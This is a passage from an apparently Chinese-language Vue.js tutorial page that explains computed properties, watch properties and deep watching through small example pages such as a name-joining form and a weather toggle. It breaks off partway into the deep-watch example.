class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>但还是存在一个问题，方法会多次调用，当方法实现很复杂时，就会出现一些问题</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.3lp2wihflyo0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="8-3-姓名案例-计算属性实现"><a href="#8-3-姓名案例-计算属性实现" class="headerlink" title="8.3 姓名案例_计算属性实现"></a>8.3 姓名案例_计算属性实现</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>姓名案例_计算属性实现<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    姓：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;firstName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    名：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;lastName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">firstName</span>: <span class="hljs-string">&quot;张&quot;</span>,</span><br><span class="javascript">            <span class="hljs-attr">lastName</span>: <span class="hljs-string">&quot;三&quot;</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">computed</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">/*fullName: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                // 当有人读取 fullName 这个计算属性的时候，get 方法就会被自动调用，其方法返回值就是 fullName 的值</span></span><br><span class="hljs-comment"><span class="javascript">                /!*</span></span><br><span class="hljs-comment"><span class="javascript">                    get 什么时候调用：</span></span><br><span class="hljs-comment"><span class="javascript">                        1、初次读取这个计算属性时调用；</span></span><br><span class="hljs-comment"><span class="javascript">                        2、所依赖的数据发生改变时；</span></span><br><span class="hljs-comment"><span class="javascript">                    当依赖的数据不发生改变，模板中需要使用计算属性时，会从缓存中获取，不会再调用 get 方法获取</span></span><br><span class="hljs-comment"><span class="javascript">                 *!/</span></span><br><span class="hljs-comment"><span class="javascript">                get() &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    // console.log(this)// this 是 vm</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;get 方法被调用了&quot;)</span></span><br><span class="hljs-comment"><span class="javascript">                    return this.firstName.slice(0, 2) + &#x27;-&#x27; + this.lastName.slice(0, 4);</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;,</span></span><br><span class="hljs-comment"><span class="javascript"></span></span><br><span class="hljs-comment"><span class="javascript">                // 当计算属性被更改时，调用 setter</span></span><br><span class="hljs-comment"><span class="javascript">                set(value) &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    const arr = value(&quot;-&quot;);</span></span><br><span class="hljs-comment"><span class="javascript">                    this.firstName = arr[0];</span></span><br><span class="hljs-comment"><span class="javascript">                    this.lastName = arr[1];</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;</span></span><br><span class="hljs-comment"><span class="javascript">            &#125;*/</span></span><br><span class="javascript"></span><br><span class="javascript">            <span class="hljs-comment">// 当计算属性中不写 setter 时，可以简写为</span></span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">fullName</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;fullName 属性被调用了&quot;</span>)</span><br><span class="javascript">                <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.firstName.slice(<span class="hljs-number">0</span>, <span class="hljs-number">2</span>) + <span class="hljs-string">&#x27;-&#x27;</span> + <span class="hljs-built_in">this</span>.lastName.slice(<span class="hljs-number">0</span>, <span class="hljs-number">4</span>);</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.fjvrj6x1dq8.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结计算属性：</p>
<ol>
<li><p>计算属性定义：要用的属性不存在，需要通过已有的属性来获取。</p>
</li>
<li><p>原理：底层借助了 Object.defineproperty 方法提供 getter 和 setter</p>
</li>
<li><p>get 函数什么时候执行：</p>
<ul>
<li>初次读取时会执行一次</li>
<li>当依赖的数据发生改变时会被再次调用</li>
</ul>
</li>
<li><p>优势：与 methods 实现相比，内部有缓存机制（可以实现复用），效率更高，调试方便。</p>
</li>
<li><p>备注：</p>
<ul>
<li><p>计算属性最终会出现在 vm 对象上，直接读取使用即可使用 <code>&#123;&#123;xxx&#125;&#125;</code>，不要使用 <code>&#123;&#123;xxx.get()&#125;&#125;</code>或 <code>&#123;&#123;xxx()&#125;&#125;</code></p>
</li>
<li><p>如果计算属性要被修改，那必须写 set 函数去响应修改，且 set 中要引起依赖数据发生改变，不然写这个干啊，一点儿用都没有</p>
</li>
<li><p>如果计算属性要不需要被修改，只写 get 函数，可以使用简写形式 </p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript">computed:&#123;<br>    <span class="hljs-function"><span class="hljs-title">xxx</span>(<span class="hljs-params"></span>)</span> &#123;<br>        <span class="hljs-keyword">return</span> 结果;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure></li>
</ul>
</li>
</ol>
</blockquote>
<h2 id="9-监视属性"><a href="#9-监视属性" class="headerlink" title="9.监视属性"></a>9.监视属性</h2><h3 id="9-1-天气案例"><a href="#9-1-天气案例" class="headerlink" title="9.1 天气案例"></a>9.1 天气案例</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>天气案例<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>今天天气很&#123;&#123;weatherInfo&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 绑定事件的时候：@xxx=&quot;yyy&quot; yyy可以写一些简单的语句 --&gt;</span><br>    <span class="hljs-comment">&lt;!-- &lt;button @click=&quot;isHot = !isHot&quot;&gt;切换天气&lt;/button&gt; --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;changeWeather&quot;</span>&gt;</span>切换天气<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">isHot</span>: <span class="hljs-literal">true</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 更改天气</span></span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">changeWeather</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.isHot = !<span class="hljs-built_in">this</span>.isHot;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">computed</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">weatherInfo</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.isHot ? <span class="hljs-string">&quot;炎热&quot;</span>:<span class="hljs-string">&quot;凉爽&quot;</span>;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.1ad6egpcsxpc.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="9-2-监视属性"><a href="#9-2-监视属性" class="headerlink" title="9.2 监视属性"></a>9.2 监视属性</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>天气案例_监视属性/title&gt;<br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>今天天气很&#123;&#123;weatherInfo&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;changeWeather&quot;</span>&gt;</span>切换天气<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">isHot</span>: <span class="hljs-literal">true</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 更改天气</span></span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">changeWeather</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.isHot = !<span class="hljs-built_in">this</span>.isHot;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">computed</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">weatherInfo</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.isHot ? <span class="hljs-string">&quot;炎热&quot;</span>:<span class="hljs-string">&quot;凉爽&quot;</span>;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">/*watch: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">            isHot: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                // 当 isHot 发生改变时，handler 函数调用</span></span><br><span class="hljs-comment"><span class="javascript">                handler(newValue, oldValue) &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;newValue：&quot;+newValue, &quot;oldValue：&quot;+oldValue)</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;isHot被修改&quot;)</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;,</span></span><br><span class="hljs-comment"><span class="javascript">                // 初始化时调用 handler 函数</span></span><br><span class="hljs-comment"><span class="javascript">                immediate: true</span></span><br><span class="hljs-comment"><span class="javascript">            &#125;,</span></span><br><span class="hljs-comment"><span class="javascript">            // 计算属性也能被监测</span></span><br><span class="hljs-comment"><span class="javascript">            weatherInfo: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                handler() &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;weatherInfo 被修改&quot;)</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;</span></span><br><span class="hljs-comment"><span class="javascript">            &#125;</span></span><br><span class="hljs-comment"><span class="javascript">        &#125;*/</span></span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 通过实例对象来监视</span></span><br><span class="javascript">    vm.$watch(<span class="hljs-string">&#x27;isHot&#x27;</span>, &#123;</span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">handler</span>(<span class="hljs-params">newValue, oldValue</span>)</span> &#123;</span><br><span class="javascript">            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;newValue：&quot;</span>+newValue, <span class="hljs-string">&quot;oldValue：&quot;</span>+oldValue)</span><br><span class="javascript">            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;isHot被修改&quot;</span>)</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>==两种监视方法:==</p>
<p>(1) 在 new Vue 时配置 watch</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs javascript">watch: &#123;<br>    <span class="hljs-attr">isHot</span>: &#123;<br>        <span class="hljs-comment">// 当 isHot 发生改变时，handler 函数调用</span><br>        <span class="hljs-function"><span class="hljs-title">handler</span>(<span class="hljs-params">newValue, oldValue</span>)</span> &#123;<br>            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;newValue：&quot;</span>+newValue, <span class="hljs-string">&quot;oldValue：&quot;</span>+oldValue)<br>            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;isHot被修改&quot;</span>)<br>        &#125;,<br>            <span class="hljs-comment">// 初始化时调用 handler 函数</span><br>            <span class="hljs-attr">immediate</span>: <span class="hljs-literal">true</span><br>    &#125;,<br>        <span class="hljs-comment">// 计算属性也能被监测</span><br>        <span class="hljs-attr">weatherInfo</span>: &#123;<br>            <span class="hljs-function"><span class="hljs-title">handler</span>(<span class="hljs-params"></span>)</span> &#123;<br>                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;weatherInfo 被修改&quot;</span>)<br>            &#125;<br>        &#125;<br>&#125;<br></code></pre></td></tr></table></figure>

<p>(2) 使用 vm.$wacth() 来监视</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">// 通过实例对象来监视</span><br>vm.$watch(<span class="hljs-string">&#x27;isHot&#x27;</span>, &#123;<br>    <span class="hljs-function"><span class="hljs-title">handler</span>(<span class="hljs-params">newValue, oldValue</span>)</span> &#123;<br>        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;newValue：&quot;</span>+newValue, <span class="hljs-string">&quot;oldValue：&quot;</span>+oldValue)<br>        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;isHot被修改&quot;</span>)<br>    &#125;<br>&#125;)<br></code></pre></td></tr></table></figure>

<blockquote>
<p>总结监视属性 watch：</p>
<ol>
<li>当被监视的属性发生变化时，回调函数 <code>handler</code> 自动调用，进行相关操作。</li>
<li>监视的属性必须要存在，才能进行监视。</li>
<li>监视的两种写法;<ol>
<li><code>new Vue</code> 是传入 <code>watch</code> 配置。</li>
<li>通过 <code>vm.$watch()</code> 监视。</li>
</ol>
</li>
</ol>
</blockquote>
<h3 id="9-3-深度监视"><a href="#9-3-深度监视" class="headerlink" title="9.3 深度监视"></a>9.3 深度监视</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>天气案例_深度监视<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span 